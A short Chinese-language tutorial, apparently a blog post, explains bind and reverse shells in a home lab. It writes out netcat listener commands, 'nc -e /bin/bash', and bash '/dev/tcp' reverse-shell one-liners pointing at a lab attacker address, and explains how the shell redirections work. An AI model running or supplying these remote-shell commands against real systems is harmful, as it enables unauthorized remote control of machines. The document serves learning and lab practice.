反弹shell
正向shell
靶机
nc -lvp 7777 -e /bin/bash
攻击机
nc ip 7777
反向shell
1. 操作步骤
环境
- 攻击端:192.168.31.199
- 靶机:192.168.31.91
ubuntu或者CentOS上面输入
nc -lvp 7777 -e /bin/bash
kali上输入
nc ip 7777
-
攻击端监听端口
nc -lvp 7777
-
靶机生成一个反弹shell
bash -i >& /dev/tcp/192.168.31.199/7777 0>&1
2. 解释
标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
标准输出 (stdout):代码为 1 ,使用>或>>;
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>;
nc -lvp 7777
-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。
bash -i
# -i interactive。即产生一个交互式的shell(bash)。
>&
# 这条命令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>
/dev/tcp/192.168.31.199/7777
#特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 `bash` 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
0>&1
bash -i < /dev/tcp/192.168.31.199/7777
实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。


bash -i > /dev/tcp/192.168.31.199/7777 0>&1
基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击者机器上执行的命令,且攻击端看不到错误命令的输出。


bash -i > /dev/tcp/192.168.31.199/7777 0>&1 2>&1



浙公网安备 33010602011771号